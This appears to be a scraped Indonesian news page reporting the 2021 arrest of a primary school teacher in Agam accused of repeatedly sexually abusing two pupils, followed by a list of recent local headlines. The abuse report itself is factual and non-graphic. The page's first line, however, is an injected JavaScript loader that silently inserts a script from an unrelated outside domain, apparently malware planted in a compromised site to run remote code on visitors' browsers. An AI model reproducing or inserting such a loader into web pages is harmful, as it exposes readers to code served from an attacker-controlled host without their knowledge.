(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
NASIONAL

Perdana Dibawa ke Rumah Dinas, Guru SD Sodomi Murid Berkali-kali hingga SMP


KANALKALIMANTAN.COM – Pria paruh baya berinisial Z (59) kini harus menghabiskan masa tuanya di penjara akibat perbuatan cabulnya. Pelaku yang berprofesi sebagai guru di salah satu Sekolah Dasar di Kamang Magek, Kabupaten Agam telah menyodomi dua siswanya.

Kasat Reskrim Polres Bukittinggi AKP Chairul Amri Nasution mengatakan jika satu dari dua korban bahkan sudah dicabuli pelaku sejak duduk di bangku SD. Dalam kasus ini, Z telah ditahan sebagaimana laporan yang diterima Polres Bukittinggi dengan Nomor Polisi LP/ 29 /II/2021/SPKT Res.Bukittinggi.

“Dari hasil pemeriksaan, kejahatan oknum guru tersebut terhadap salah seorang korban telah terjadi berulang kali dari tahun 2013, semenjak korban masih duduk di bangku kelas 4 SD. Tindakan itu sampai korban menjadi murid SMP,” katanya seperti dikutip dari Covesia.com–media jaringan Suara.com mitra media Kanalkalimantan.com, Senin (15/2/2021).

Selain itu, katanya, terhadap satu korban yang lainnya yang baru satu kali mengalami pelecehan. Sementara, peristiwa itu masih terus didalami.

 

Kasat menerangkan, dengan diiming-iming uang jajan, guru Z kali pertama menyodomi muridnya di pertama kali pada di rumah dinas pada 2013 lalu. Pelaku juga menghubungi korban lewat telepon dan kemudian menjemput korban.

Ketua Pemuda, selaku saksi, merasa curiga karena pelaku sering menjemput korban. Dari kecurigaan tersebut, saksi menanyakan kepada korban, dan saat itulah korban mengungkapkan jika telah dicabuli pelaku.

“Pelaku diamankan pada Sabtu, 13 Februari 2021 dan terhadap perbuatannya, kita jerat dengan pasal 82 ayat 1 Jo 76E UU No. 35 Tahun 2014 tentang perubahan atas UU No 23 tahun 2002 tentang perlindungan anak Jo UU No.17 tahun 2016 tentang penetapan peraturan pemerintah pengganti UU No. 1 tahun 2016 tentang perubahan kedua atas Undang-undang No. 23 tahun 2002 tentang perlindungan anak dengan ancaman 15 tahun penjara,” pungkasnya. (suara)

Reporter: suara
Editor: cell


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.